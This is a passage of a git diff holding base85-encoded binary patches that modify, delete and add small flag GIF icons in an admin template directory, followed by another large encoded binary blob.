zN2U1q__xUC>|Rjp>+3{pyW-;FpP!#^kI|;N;Ipu>uD|3gSFo+9_7 z>~odVA^8LV00000EC2ui01yBR000Jyz@PB9K_CFBujQ zjbnlXC>+H<;$1fzkh$fcJ2TF|KIiXFJHd={{8!(*496Oz|8F1w{O23 z9e=yIUB7<)>eZ`v@8116ZR+#q&!0Yh`tb3imoHzwe*OCG+qd7ew7!4+`sd}#+qZAu zzkmPc&6{7fw0@YFe5tMd^7ZTQKff)K?d|L9>-R4&_%=4><>lAc z*XQTw_9`mr>FM3w-PP6A+uPgwMn>P?-}p5(_A4v+G&KBGRoU6u`8+(~%`awbW*4FfWef0J9{i>?b(b4r)RrXt3`~3U#lau|syY;)f{r&#= zmX-Riul(uh`+0f%et-M>`}Fkm@$vD`&(Hb!`TF|$_xJbw{QUj>{qpki^Yiom{{Hp# z_5c6>A^8LV00000EC2ui01yBR000JyK%Y>^*6k)HnV-@o6kuJ@iiTDM`t+fSdqeED+v(#02cZZ$PE=J_|4 zEnD)lqdhq5=+B=&j~qGj|NsA&@87@w`uW=JTaRD93=a=~`26YaUAtd@{BY{jspoIs z{<(3ZtE=nj>(`$@f4+YI?#+kyuUxr&;ri8*Sr0GXyng)3+xz$LfBN!s@tT{ddHYr! z`EcRF*{@$dpTBzf)}1?_H*P(D`Qqi9H($K_^6Bf>-=9C9zIcA?+{4EzCx89=_3z)m zH*em0`SRuW@83Ut`t;||pO4?a0^P$fl!4+;7DfgJ2L>IGCqQw+z`m=&zNtw_h?P}B zP)b%rjM-s=gS~)&6+fG$rJbFvxFnxV|HR4GGMsvr($aiZ44hUr3KJ(WTFJ1O@Gvp) z*s?J2TgY#=XJoWC*5A#+!6RtJW+A*;h;f#k*%?hyfXlG~P=jHkN z`NYJ;-sIx-_4V1=+U@f4{Mgv(>FJ7!ipSLL%F4>_4Co$*W>Bw*WcaQ;os%!>*ww5^7Q%Z@$l2x+34={uCTDs*VScizN*CV-{0TH zd6Uc0&-1ah(9q5D_4W1i^R=DBqpaE5+}zL8(a+V>{{H^`{r&Xx^z!oZ_xJbw{QU9v z_5c6>A^8LV00000EC2ui01yBR000J_K%Y?9={z1K%}De~FnqtCW1-9CdcEC-qToG$ z5ecD|gFqAx1i`@z`EU*i>M$@E20IjD(Ez=15iu`z6%_*-4mu4O9XMA#GlePzEj&6I z4IU3y5i%#DGxmY1OX%fq5vlW92*%oB|R(z2m(A46FV>*2oyUO8a)aN fC=on74Gj?iC_BeXO$-bnAQ&bdDK-`sE+HmjMX=n412$%fR67{_Crb&L?4EYwMrCLqq;oS3Y21$jton z=c4aV28Q1^Tw;Sh{?3Tj()#w*%jDKsw>}|g?FkCAy{`IfD>~~?3oZJ^*$9Mm?R(pGY{}~q>C&uP|p9TPwVNBZHcfA&1OLb|wo} zVQYmA6BxvmcqCH}pSOWlOZkd4q literal 368 zcmV-$0gwJiNk%w1VGsZd0M!5hK|%Ta+GzgCTz7N&^f58_NlE{EdHYpV^(-tZD)v!P z{qr0g`)FH4IPLW$B>d4${Aft?00000>He%%?EnB(N%8z!Tl!r+X=(iC008n66ZJhk zFfaB$J@rRN`ZYE9@eK_C0Q>*|);l}-OicXw001N;_22*iT~hJ;*hC&4^z}A2WnlLn z8SehbdH=P0{@ro=abhYY@cxH(Jvj0tAMZ;`_b@B*`m#j+-ds&V?)h6){ex89008{} z0RI30A^8LV00000EC2ui01yBR000J!z@PBvlZ1{TNn}Z({0uLHVKBg0S(d}0;4}yr z7LX O63r4KCnr7AK>#~`43F&q diff --git a/modules/admin/tpl/img/flag.ru.gif b/modules/admin/tpl/img/flag.ru.gif index b525c4623312f57d837c23d28d18fdb97e730de0..4cc82c93f7144662b3eb2f2618f5425b8ab707d4 100644 GIT binary patch literal 581 zcmZ?wbhEHb6k*_Ic;>*s!0^n=>#w!-k6*uj_4fX_%fMh}_Wl3=|88!-B_uxo2nd)n z=igUr>rbElhKBzA%)l^p>K`rbZ%-K*9xyPRGKzO__+?=5oq^%+CHI2IPu{#ykO_wRqbc=4&Z`TJ)vv3vJkedOgmt{(P-fuW@2-)9q(uZoKP{(t_Yq#Ty<{qEv& z-ZtZxi_6B1|Ed`ne%adoFfqx`|65!8)!zQ=w{PD9{QqudV7Qaj^M--pi>~hX@86Y_ zzW)37@9Wq9fByUdIu+=Lp$im$vM@3*I56mdya0+52KGe_c1=yZt+KLGQgU*Vk`Db2 zcI@o7Q*G^M*fTR*TPseOIA!Y0S#zvS=Ph8=<6bMUo@JxFyfF*I0&!J7J~KuRQ6@Gq zK^q&B?GtwLY3w_2=!gv`(}{j@qci&t9zM#+$#%uT+(JS^M@K|NSy@X35Q(vF)fhuIO8~RQA@Y5n#c_fEdd5=0O)b0 Ay#N3J literal 361 zcmV-v0hazpNk%w1VGsZd0M!5hjg9#7^8NHJEf^T{&pl|Ioc{d${KqF&^A;8`F!xne z{o~~C`deH4WMnEU_Jf1>A|mzr`ug|x_xMmy`aL~#bpGDn>h|{bm6iO`M{w)_0QW>h z^*cNB002r#{lgqh;ebFwadRwpd3${j11fPZgLry;eggw3CNVS_ z83Y73HwOnFA0#9+Hi-F;ju<&O|$?t}S|Ej9)GB7+~VEC%4`Y$&2o3ry*8=Eik z@;_~Ce>ph(w6^;5<;#yJPrm8seA3hV?(O|AGV*6c#AhR;zj=8-%*}tr#(w1G{a04@ z+tc%3VbPyWoBqz5_bV~+&;A2HLqdP2rv3~J{9}A%E0iK zf#C}S!y5*M|3LH~NDN`1_>+Z^fx&@62jmA(oG`GjZm@5%w`sLuV6g47wX<{Rcd)l) zVUd=W71vN!kQ7xC?wc@)gF{4KUeAh`M}k>!!GwvHOXVz#6lK<|W9PKqXu~4H!f$D% z&LhAn$gakJ^^DxEpDcB`^8nX`PKOp%q{iRm>5;h_cLh7Sjh?K8Zfip zVPq6z+sI(HW@$pB|9m!Hp+AnV3>Qu25E3p?2?%IvW91a$Iudnd#pAwyHXacPNo@fJ FYXB^%prQZ( literal 371 zcmV-(0gV1fNk%w1VGsZd0M!5h_=ku4NlE;M4#va<950ObGx_e)FmLqqyT zM*dx0{(5@(JU#Lg6ZbJO{&sf!etz;UF7zNE`B72*o}T$sRr+CJ{&8~sZf@}n4f;Sp z^(7_x00913S@`7S`8zuLadGn*8T@K${AOnQU0w7aANV&n^D;8v008zZEd1o;_x1Jn zx3~T2>G@b#`=X-vjEwX)Hu%`s^z&)xmx1B4q~vb~hDQtxuNWA9IXHY`VED$s@I_w!ldy2hlKa86 z=kGHxgg0JfP~5;EzWTST>o*sd@7~@&!@_+lPJhzV`)OtMGdu53TH2&ZH)qbgTRZpm z7b~mZUY@^VV~eNU{A^_OJ25e-^UBYke|PM7{v#;ptDW6PUf!6NOFwOFzw7FLG_xw7 zdGn9I{}%;?H;&$K-2+Z^fx&@62jmG*oG`F2Yp`#!=i}q&XJ%q&XJfOpbeQO1 z&&8#pB5kN6E}3Tvayr~uK}y3jh)t_B~v7o%_Vuc_1D{3+X`AO;WJf| zm)|8~v0=ZS+M!AO(n=a;+#({{`)oNFWiCu)64#X#U==%ahmq5WdC8-v&tKl<RJybmmIjv5+J1HVsNmLt%FOHVM5ZA7lMpTRwXHq-Z008;<{h68F^dBGd85#U$X8K)S`8qmR zfzkU)N%Jx?-v9u8o!jg|OYt^3?MF~|nc4IrvLjctHMir)KbL%AFn40IVgYk3wN9R)E505}yH88dhhC@CKu z5(7LgAsQ@&lqm}~Ndugopp^>?FEA1+ou3VPsu&m#Fd|zMT>=OQ93M9?4-Y;}PERBx N9UUblFh0^j06S#9jNSkM diff --git a/modules/admin/tpl/img/flag.us.gif b/modules/admin/tpl/img/flag.us.gif deleted file mode 100644 index 8f198f73a777a6af8d3c8e0b9b2ce48168a216dd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 367 zcmV-#0g(PjNk%w1VGsZd0M!5hV`H}Z`ug_v_3`oX{6FMd)+t~b6RQz~i+ha=mD=V72{QPBRx?@WGIy&a&mbT%E8IW!TtSPICuH}{{8#^`tkAa18?Ei{{8*o z++%0NA^8LV00000EC2ui01yBR000Jzz@PA!N&$|l2Vx0<{BkH=DIlQ+0->w`_Cs+v zo`Ju(0i zIDb4K9W8?qA0G<`A^`#$8+MVC77acxDm7+kX%V0WxGEYA0Wn&rsXHq)79ulC2u)2S N7!(u-2O82r06XTKt3Ch# diff --git a/modules/admin/tpl/img/flag.vi.gif b/modules/admin/tpl/img/flag.vi.gif new file mode 100644 index 0000000000000000000000000000000000000000..748644e1d8b366ecfccd8dc18330ad8208a443dd GIT binary patch literal 589 zcmZ?wbhEHb6k*_Ic;>+HNm%&1x!K(M7a954*!af}(|=`UpY-&;+Sq)Nm;dgp`zto~yP@IFh=@OFX@9b^zG-Rw zI$;0D+xvH7;@`ZypEkCC{Qduwd;JIs`d3)=+spI!8JC|{Rv&qJzv#$({i^com*cl` zt?%Creujj8zhv-DN9T)z!uJIIA9g0+{D9*6KZ~ut8EgN!>ixf}>Z_{iQwD~=3=Cfw z7~U{2{0E}{Kw=03#h)yU3=9qoIv_uQ;)H>HRfBz#y-lkPJG*U{t(~1izk|KyWI;g{ zc_~RbF$rbPz6q0fdHL9wl$2N%7{v|dPnc-AWSOjt+G=rWD-P=oHiAo;EY!5QWc1Cg z42Abjuu)-Clx5=L63`X365&3xPhL@#ht*8LROc2q1LN6#cBzM~>HZ$Q(|r8}|tomt>1Gt7B0Re2K6Fw*Y-)IWQI#0Cy89EhP>g9}zJa7Aqu$J`^n` z8yPPVGc}PU4JQN~A($C15i~qIk_`nrSC=Wa5|*=XX1`Vwkx2|&3$gwnU?#;S_`+-N@F#18Fqe5E z{ux!nG-(^+)zK2uM`pdxuU$D9q_D|LKp2l(+RGT~4>E5xuiFZnuF@ScHBYq*#RXJ= zR)x^{GuItt@re}Jv9bM15J7t)3~x9s|>rQYSD9jB;o%(nV3l$!lN_CBJc$o0Kn;d|P5 zb)@))&14G=Q?2UC^*sB~zE<^GPNxb$@%H361-H`Dt;5K}j;a;1)m;y;UZGo#oZ+J}jYPwls;A#~;2^goq&{6FMsOH*=B6nR zi*sK11+zR#1NnSUx=;8TA|~8@%Vsa_V436Krov6#QC{`eZuqV8;LIFPw(Jscpj3FP z=PsZZTU4TNoSwzWXr!knSK4OzZV%SMxHg_qW~aM);A0d5o_5P;AbDC8?cPY(#=iPk zgzr;o-oDOPzree9ZilhZMV61JDSAMhQ%lOI}YF9G*6fqXZsu>Daz- z(X;Pi>MiPs&|wV|dpi7fUv;515>|&QmQd z!cwV}OgB0xg*ui+%%dnfoo8T)@qm$w-(=0Y%G$r{>f`Os!%I5bG;VtiSZ!}*wOuBa z%FA-M^F+lCbtR%*rPy>=1TbK2YE@BkKE$+_O`b_%h2q{52XE0n9d9oHbtD^=f6{ug zfBvd_@z7v0Cij(OB^=(fsYLhNE7ok)+pp}5iC&NME_e4~Wl0m=@wzJ2SP{n5C6LTJ z{DZRQdkhQ1(@-1T{UcaGhIlzpKL7+XAGTo&)(lcDQe4M^6dhpROk1uFrkBAlR;B~nXi@mN9O=-u z73px0Qe@6Gy2Bf|hH}1dQ=T&o%fHYA-?1Ftd|IDw%ly8%!@dx^KOQu;HKMVh-T@Dv z@$~kY-?o23!-{}6t5^MACckr)W@hFwj*-`z@7!5jR*I2Zbq3Da8c*1Nrj>jv^4}zo zI#5M*_WK!Ct|F7xNSZw<51QWxqkqy#;}IDQU!AMDSy*^E9B^*@je;j;B0e;k)56A7 zwPwlTPDA;r4$k+^2b$Z`sTVU}bds)HwqkVcbzUDuj(TzXVrZMJH(y*AKiBStj20fc zt~YCcG=`vKy8s}FP}g=01StmpyDuAmosKoV>&j@Ga5_@#;D2jy<9yuTaL0FF@R@K% zor38J4NYv;pqN4d{l5Y7-GoKawUA}I+Q1jK4L@)DftdAuSB*;=i!ecWnFqr$2qifR z>T6LR1DEQ4&StR6cuWiO_9uJV6Mdi(SU*s)0943T07l6F%VG1TSh8CIY}UNaP^*>S zy`SmmJZd7{kY%wMc~3y^91xGf!<5E=w7lT=whj&|5soT( zlcR4#Nt=4q-gSwb5IBY^gYOH`?uW!uIc+9A_rKJ3M;67cy*%61Xu$ZB%2gn+=o7IX{GDN>?2A^8SZ;Yr^$^B~Rq5A9xc}8#E1+D_B`_Ms_Txke53I+>q!fsrwGsCH zE}7}lpC|eQ{*FuWhsvfhPp~Cvitv~&&D|TBY4dJr4#*5qpuoT08|Jt~O10m|(-LX; zLUV6#GUHHk5)q!uCBa{{BSX%8lI8q>m0M#Ii@)$10;l{7vpq&hD4qx%yN`gTz_Hs2AJ|0|gCkiZi90iMoV?Es}%ahw`UYle-~LPXs9E!~^1e z3FPD_UlD%}z`E~Sm+jSvEx6%{15c3?>DkC`%r5^H-er^y)BDT-{SXk+<|+sbEO^^E zr77JzuQyBSpd4=r3o*6R8&|b1ZxrU2X??6%F7Vir!k>-FzG7L(63T$5kQulY*gW|; zlhZ`Ui4UIU?J*h^5EO}-g&tg}^^TN2w)C74^{i(8o4VhJf6?yFL)6w4Mm5`IR3uyb z#b~)prGPno*6WMT4n8VPlmQB?CyvKmh3Kv)rX@ZuyYU4tPW4lVnqB^+R!AHJ{vGLt z;M#VT+(F60Iqx4?b18vGOt~oU?VOl}VlM4St`3mypTIXpvT=vWT*dq(qW;1mDk$sINO(ax~H!Yg~2|5nTNGii@W>8rP>sbKT*b8Ko(FAy=btK7aRSP z3o+H-Zay=n;1U&)G$@ z^~Exh9=8dg!P%-G1UCG0HjbI_82e1A_d5c`{_wA+CyS}v>tyJtGfZT$2bE^RoAj`2 z;AMiAd)SxJN22kaq}1`_q)&m7l*$dO`~hxSAO zNj^WPNdicSZuAw(!4^BYAt4sudIhz+DT>D=(go~oHS-2Ho-p8RIBHC=3#hwJ1IP~|4;GbK>iDBM6(K*I_*%9Iv0n<@r+W~kam zCwqvTp(TG?f7BcH7Io0Q&@X11@U`@_+m}K#ZjC!`f*h@U+AD9CFIR({0(EOOD_r{Z zSd^b5u8%;64LbmH;0qv+*Zs@%JNeRT+ADIEWwAE*1>^lo8}DMc0h5u$OBv7d@JFz~ zavmKf!$_`n^p_Sm49~XQg)f^5b0hHJrD_hgTOQTiSEOoDtaIPccZ$>Kj;g!K`3lCu z`p5znR+zCaYsT*v>5+w@t<6W;pA)shgn!b}*so6bpL?=>s&xVc>QkXXJnUdEq#jmi z*c(JIcb7}m8?oHIza@{T{;k-Gg2n?UzG}gncAu=p4_!4J#!s<6X8JLYF&=d~+V`^^ zFF;euzfhCurtGx#J7mOlwNy-G$@!&c1-psB7xxr;p6bFBd5!^tmMVeI zLg2>7oZMAnZv zxCpwbR`Be3%1y&5UhSDfV_E--d-~HM7#uA@qLWh_B%D zU0%Q9u-3haf~4pKF)p0?QHY?r?axs-1z8*i2>~z__Dbocvms{>ncyHwve$A0|MLuK9?PMme1!m9+swIc(yFdB)IEm=ac(><*&^WYWc5KUw>X#i4&){Fv7z= znlu)}5!GRrnoE;k{2Da)Ba}^sH;H&?mXX%^f~-`hrnR{?G5Dom)c>KAYL6WM?k7qH zf9*1aQ(Wugez~-Nx#GW()+$_j>)2C-C!m~O`jz}QUTuVNltR zm@tSZA>HwygsToGDy`kNro*#7Jnohg|KCc|il}MWF@j61=BlaIu=w)wdh0?t8ZIWZ z`MZV+tU%$&rF+=(a-=&PXsO)c#sDDUhUab6(tgY9p;5gG{_lPDSo(CHk@5?{ceYFF z+Mf@#tVdr+E~916tT21spK>GbPTfsT50}b#5Fm@)K#?xba zx@4F%KXLrz{H;%4m6_Ds9rkD@^_Myp(Wz!LtGK_m?RQIQS}<@j1|;UZn43>alEP^5 zYHQuy-LE`XYLTaCPHnuDaQ1?T0cJpGw3dJ)#>Q`wMo_k^dG2HMTJ|NK>2GrJ zWq0&0;L4HT=%^gUYc@OXmS#!xx>7|Vm{hBNZT?ZIF98NCQ~_A6cq+V&?Nd`i)Fbn^ zDhJjH7hfGVYhOt94Wa;kx-!V9>W7wzabg z<3N%$r#DZBTc?a!Vn&l@zEhC%ynL68JhIx6+3{f;OrXW&`{aU;m-MYcrCs;_2VP6i zw*rUBPD-F&sbA~)`1vJd>YbxMToEf}Q9oRf`V7@-r3 zLd*`Spw2iJtbaOjQFYhgDc2{sq*!M!6J{L1R9_9r6Xc9?S~8gAX^0%*@DK9y7h))& z|L{mJ+l}-|~`Pnd_S?xRVB7t@%j>%PQaFo~CMrw>hN-$z ztp)#rfXgm~8K_xhi-0B!UHfVGABlYW@Xp}q(VM}dSZx6~IXow?yoCL%Kv>7so6#T@ z=x@Wz^qc^HZ9NjK(oTZc9qfr>b#{p+e1)KUkmJblrBHKYe?80keVJl}$+r$`anqM0 z{X6Wzs%3aKFlNR=O7bpn61<6)vgt8g$H~X_$!Do^{;3yvNDlR5CD_^O+VQ^YtyAYg1_zY zZ$AD{3k>HvowA^l{+eGgYxg392X{=O4+k(>$}2e4)noe&jL-k56mRnx*xtkDPPA($ zo)0RvAk(JX^GT^{&)?y`0Oi&_@>%btUkZorF2`w2;k4iJp{u#o!MDau*AoT6>zk(H z(reP^0|((Up5HNSe?zTv*s&DNMWQ~+>8*H^#zt|>_T@f=WNYP~l#tNEI0H_d2&x$guf}Jf8S_b>8*3*J|m%tNNBP z?nroRbzwb7zGb3_Hb~-V+rF?K2x5vNZ3-M;4y3n|UJe~$?7l9_YhWTZt|aD?4f6~3 zT?R+Nr&1W8ks#dCv@w+Ae+ZzDB52(I3qSo0R3TR`87qC~#WUrVPxzv3{w~?-cJYtq zGZa2r9XU}1+5I#9gYYG?)6yAYaJ!YJx02hT@GI|Drh9L7^LxBKAcf<*btB1DN?y^Y zU(PlQYcKrtv^fIjidzBocfn{Erz3IT5r6WdhBr?>QawigdgK|<#47y;xH(d7x! zDpQOZ+WJ^MiX>zzz)iZ)eR52@v@MIR7w z22$29-{Mx3;sz~x*?yGQYA5MnLN9p-$AeMiy#PiwUocl}cMZ{(wlbUdMYAVR=g*z( z@}*dG9G#g=NS>!DtDC~cpgM2-8n5tCMXor;1C|~)K&~tA(kw>)GVEJTa5mZJs1*^9*9f-ZcB2cS2Dlc0xbfcW`5fsFOD!_Z zsj4zCpqy7`LP)6)6Q9r5+erwb`Gni`!ZuabtgS#5WoI8Jd%V)M3q6-U)$RHJ9(=;2 zN_aY2&=wON+wjVcStzwHXv(xVOiAkp&A?Y{PvsIa`<9}TtXuA!ISzJ~iiIcmWNgdv>Ia-rf4Q*?F=M>yB1ceM6 zZ=2d!ZLc2D?l;IMHwb;L_NdkZ%hG5!*u{Ycc7h5^bn?v>_i5PTz$+VYizw$};miqG zR}=p}&<1WJAh%fAZX zPP43`w8mcg2#v~vv%FYT=PsngE8&3r@6>1DP>5Xe+1f+vIid&b>?(PNlP#K=Kx=ff zZ|JSwXyb>(^4z^u9Y#Oi<9796uVprTCL=J;lVt^PT2O3+uzY@aLBS+S-FV`=g==CV47NG>?FO*4!@F04D^oz*FDUx!EIoDVXAAWYB7QyxgWC4+H z5p{Fi%sWu^o}Vn<`OIYnGbnsOF)=>Uf4%^PH=#SFv5)&EimSh@ zu*4{;C4N9MS4L|g%i4U%#!|5fd12O{5pel;c1=O}EP}V?;NoQUG^*-zoGdD%+n2-Z zHg`zD#ED`%O5LGU8OmT%Ps^<5_>#zTf&ULzs zEP4*+4ZTi}tU|T#w=<6)!wg?3c6?;}2&dH**@-hN%I@2Yf0w1G*d2(eAKnC2(_R?n z5!F#ebTj(ilok{*Qkgyc9&14>+%2O!c>@jLRQQ6Z&3_mGTEuvzPuPzu^HXN-5dvw7 zax1q#{ko^I`)>|TM_}s36}rE04=Tja|BM801|yATos26QczBNcr8+Oj8r~;t&1=u4 z$?f~D{awY6$EcD0@N$5?h>^c{VsxT=UF3CUVDbBP7cV`Qg+$78?^UjUxn?RLa<>8a zNmap$f9a!9;PBx*wR0NL-}{_-@27a3j347r-~o(!z|GS4@5AS;YK1rS+O81%yT-?! z?oKKCTt2-4x6muT1W)2UD;@{NB~@)mA3u{h4>-EDBB2^{$p2S)&-_j=LzPWr@`;#< zjaO<%s4G? zAjZm)7l2LG%n%lV_0N^HM^X*Tgnw=S>!VREJiiX6vT~*o@bP7@hUvkswD5pj-os~# zy8g1I`0kyCoiM9^=YC#yQms6Cl^qyc=4wkLWx;62STZ}p2K^dc9{K!91KJFJNcTOD z=0mgRhiD%hH@-PhrfYUFE}chjF;*i(jh@gb`ziOLVOiVU^U)Hy`+~H{3ie#(#oXO| z2sxH|?V0Mkwcq8KEU#9`R`S)C4MMLpLx;}mD?);GCqEct6T16cS_Co17#2=vyfi8a(FqG91kAau6nacO+h?ExMCQq?-m=0c%m)!rdzb= zQoyo(OJHv-^!N%FX6|d6jlC3BYn+Q@3hGaz%$bXlD-0H)9||w{{lUdZr~ax$vdE+{ z^>?@C`xdh1U`x)6SGdf~j6t)GjNoaJekx}GpOt&k~M<9u+Ak&%p7k7x}BO)0QHM zTaiAhQ{#r`)IKug8y~yxE4vNAr_aQwpte}t#&2HK#Te?$rWz8yEJEvQL39H|@JBUm zTjgoO-3=KM1U3ViOEZ$4Iik+&+X2#^T>c{*P&+IEJd>Eqjd(xUDyybHT_$Z(L~B6K z5=#L$_-8S)X${23lZymETK7^W!rdz+XnIl);+G%#it^t^eAo! zXs9KLJvDfXefpOD)6S3e=FPCQk7WC|o!T~c(#N_M)^)UQpTphd5Dkse)q)ttzj;5dAL{xoM|XPw9z<@M|k;U21YI!?eIPf~wS$PnIak{}{H zEooUh-tkH_5Rp;rN7t-Uss zKmV7uCT=LXvFpl${RT8aSLz@sZX6zMe7h(RV32#NJRzH-QKn9D zepO1P4O?4`1}Cb#AK=k1m(<*z9i^}Id&034lQHKpAqjt5N`i21O5{Qbn$YQ2q(K=U zCw`GGe8)9SAn zq@FO&E(vjD=KCyqdsj6~$Fr45fP!;rUuHC^(iG+vZz*r|L;mXFbiBj8#~a#)%PP0wUD+VKB1A`r>6H$qouB0Gg}Mp zv-%RRR&InKdh&*|bFK|*=aTjUaC&y+RfP5|O=8!3#=#b8TSFeBzSrJF#AtL|d>ccv zKv?&VmD{4ak`9&VnJL;1Du9dFD;;FsDt-{srC5zD2wV}A>v z*Q#)Mcz4ijy|13-5P}riM3riY8Iw><+nR9bxw|{FJkVIDQx-guHRbk@%|a*PhX8m-R?~m6;7p7QJeq~0YP4BT$bpb!0YaJ&Zwf0U%&6J=ue?IRVuQrZR(KAU$yev--|SYb|WFjJW?kH!)1q!NQ~=R`A7( zCM?`C3MeripT~k>Ee0(Q>WhpZ_Z!@xvC*$b9rY9kMhAf1Wx#a1m8iXB{_alwUAyEy z;(J36zP-1xsqLS3vZjV3xto`5MH9X5|H2P^R?2YbjaX*$8?&r+JZ?C555$nXi45zn z83#|_$L}tODsOg0qUBA~Dc6<^@p0F_c@|&jO#dse@RIV#me|~thTewMA=zzADBGNa zeRc`P4ioSOjqok1G)#I#apNsG_=qoS^Us^y4eM|DLO&XgrN?J;FaqL~&Pb_R3%79h zM%CFdz3!>^&!mE>qrR>p?zmo(^Im3&4;G+hFy_86c+NxQaJVjzIu&bey-Z_-L4ER* zh}NK1k;zeL!_BBX(JSq_W0RY$$r|VZZcx z%bPf2`n*g7S8L13iu{?mNYj02{`r;Hhx%KKu&C&pcy&$+0E)-Cj2}6_1ccvbLD3ooj zuZOPF_sfl?!LDMnav`@+2BU?k8|^2@k0`kGp^A$TSDmxfO$_{4=(ZvU07V`+#(uj# zmNbV3F1J9K16kHCwKngG=GZdTR|lTz;9jjh&jQp~82dd(1Pp9|7Ddk1Lrv}0%Z0zL zC09Y2a|V*g!5?7(#nkJfnbn(#0{1ur)onrdT1M}g6_9_U)Ap)vg*p=RA5c?IH(%Om zv@RyfXuk#B(i>{CETm-}s^Kh6Mni6fLj-F14_u?{9_45xjt%0o8M_L^mqj^%QII}j zAg}0xx7Ew90&_$N;Z7~xXGnq;cENis0 zlJaykwEHSA=bh`&#+K1+XFCrE*z}{{{564fV5-XqxRPRVd6Pr5Nvx^K6%4hd<5Il( z`mXTb>W?GqWwkbEh71;9D{ZW{^GyWWyL7m8MYpPdthbWotd7j{b{4Nj;CUjj4-4(1 z(%=wX+q4{TU!RVrYp!|~cG=dx=tP{0Ie zvDMXV)^HFTj1Aq=9dltnw6FcuC}E^B{in;SCwJA5{*qt&rFR++*~ex)wYEQwo9@LB ztU13?FSn3?iSapsTy~n7Xg7Dj`Lt-xtMYnc+dfMT$6I9t49Ch+caZ%OXl?1YYuh3< z`kHo$80Ow#sfA{{i@E6T@C`X5FJP89iYaTriMyI7vWGlr$&>%ZWY%R5ZlmiiN9^Hd zUz#l+i&uD3gzdk{`1a0R;lUt#UwgwIUHpxCaFcfD_pqeHp)*Rv$mSE!@&otMuh55R zN379yt)(t@k*}p^D8BjWXsR7I2RJR-XWi5bp%YY#B$A&p*Kca@(b{jrRMUue<%#>j zg1Ee3WcGYA+TmkmBUWFb`T^&Ahx0{yhFj#7>Nw$z9ZO7+@f3%`&*j_*ZsR$(dEdzN z8I)w9i`;GFjz)Zw1B?g&U9y^*E8F$F5@gFP)0zu24*QN=d@M2PZ&fHgrG8?`4W2eW z>65-m7b|I1%L&U!DC0?UtTR~o)CQh#je~B2;+r)%j5f7TX!$;JDH6g|+W*945Zdbv zqa11tE8B(r^on=2CuLjlN392cU1%H@H|>a98G@DhGqr`O8@2SRJVsl zkmIYrUM`pWC#mRxg~$4_!miOvsV(5iR#PMu9X}A9;)fMRWNfrGckvr@(ktSpp%6WC zi{S5InMnC2a|L!D_C4sg76ZG&=G*s3Z{w(oy7H@gn?H$u>I)|ZB1@Hhp3eEgysiYw z%F|OyFYUeMkjA@YY(IWcCUI!v9)0j{H4m6B4;>})Tj!>{gPfOghdlNFIpF@JGg@n- z%r+P}&89K53|1L08R4!g(=$rzIDyTYcyK6@&Q1*%{cTz$-v!RLV~bx;=whehCOh75 za%4i--LZe|4Hi1wTTx?OZE0Z{!5sIoj=#@E-1WUpAVL(M7;?9HYAa4AwL?ipp7u&b z+=(5F$dSlja42IEwucVW-wwh)AJp|cDSi&@9=|UrPnqf7DPtbQ>zUoO@bBn15r>Z) zJ`>rTt{e+1roE0>Y1mE-w>M$GQ$KI-qd{of%=IqrN>KQ{Ky1Szn+_|ib>2?tR=z$P zSD|M5)R#-B5cFcVuQXS>@r1wgJYhq<+<4|3bJrS>DNtOU8UJ`qS7NqIhM+33>B0p@ zK2hgC$Vuz>Tz=Qr;~*FaRS+4<;-<=2hzql7t9W})(1-L=@J#-O9%7vJHy1bAQ07^F zhO4pqzz-#EPMH{Y#p|9};N(P*&J!$kiSUCSyXNzYG*zh?96uR+PF7>e^Ia|U)7TfD zo8L`w+e&?YHP;g>e1Y|DCTq^|)L=j|NmXTGC}S2|uYZB~PQ<}6W0iZTf9}8|dC8;x zOVm)9uTjHV9yEc#|EWG!BsEi!FW=UE^pC4H(uUoD5aS=WY4`Hl9yVjOLNPz}Oe1G8 zCT>#xAtV`JJ4BRTm}`os^JV_3F&3|2a^Hc&jS26dhwYMACnf`)JQY_j!lQtTp%oio zkzF|Z#4ett#`9ae&HnWREuu{N7m_XnzF?ideW8rA=N}ukss7H$AIFWFZgfpUS-ZMe zRk7WZL~NuWzGV;fPWm3}PHI;@e|TGZ%fsBIsfx)>vyhv0pB>jOtfPnl@n>pL z-_IE963gM&N6vqJMqQTNaCRVrdkd5iXS%FJKGc6Wz61LXO^6Uea#tjWpQ}ga>_|t# zORhF!JMUfYrR%tl>Z*l*D0urA{ITVC`(vB@4fG^wY%HmE>`X_dU50d4rOB3m@ye^P zMPwR!`A2h<`!i+S*jVFebqc5wd!Y++tw4^Z&66@AjW*po4$l!kb_P&E=sjU_*1Grt zzgj0-W}PJ-JsErOwcOyY4EkyZX)2@i^PsjyZmGi1#hks+#SQS!cg^F`FO)&zIXz=t zjqELWVIRGyCd7HP*75my+W*a|FK*Rl4s}yXZ8Z}UU~_6!rQJ#Q)XN&HaTjxRIh~>F z&m!+wmGbINb*5rYsQ{!7t^Xvx2 zJ!$?r25&2A1JZ&)8_^$&F~8CC_wkGu z?R;;OAfRkr2rhG5H#zuU>n+NyyWvh3^DqHr1C_O;r6P z{nH3o<_k1p0gLibRCJg4ABz)7L)ornT6|vFe6g_~(K#+hDPEu$t+nK+IBuw~LtUsQ z-dq0_$s51P#I`{N|7UEFYcbiNVo0gP&EEf(@XN$Ny#6z=cy?G9~-+D;g?-MAq^F*~V$Cd|yY6OR}~U2%BPX=3Q(5NC!lyDy*BfA&P=~db%W$y-4+8$jRaHytTmwQ6+9Y*Ohawj%MpV^VjIXU{18!7-sdBsRZ z>s10%w%j*?*OzVx!cl6~|HOuKwSf(_MOpBewaQP#G4o7@F6YLN?;0LQ&w)yo4feO@G^0AJBF*{|3t*&|P)kszB)QNT#bwe#zq|XnI3&>a0=Kw; z8!t}GbOw-mPNrMEIs7~gt}|u4_>VT&b0Ur|z0QtfOG5m@!_!KsW6~`Ti_v5rOIq1F zA@g%!G>e>=rMZ`6PSR@~cZtB@i3ysskw^2B;cMoC1<%ZFXxgSJGl#!Ln6X&XcL614 z!u!kDkFb#>(sU9vo8yd%O?fNL@_LRn*V<0)YDXDF;@=nRl?|U=cQBvTg^u0RN`3!~ z&l&b(+pR&!cV23(Agps;{DJNSH_2CqhIlOs$LN_MaMp1{Yc<_hclfxVT~2q@=4#I{5(HPpjDy7*LahLg|@cr__)VWYFcRe)PBp8SQ_ByH}fjV ztv9$aP88EgwB=7`{LCSFUoq}KmEX5>g{?EeNpWfgimroyv5fW*1xNV|ZmHf0)y5Y0 z@ytZVs%(mlQU4Z(DjYG8$dI_fFEQT_^Qip0A1b<{^nF)6G~SnlUup2_LS+B&w(=fF 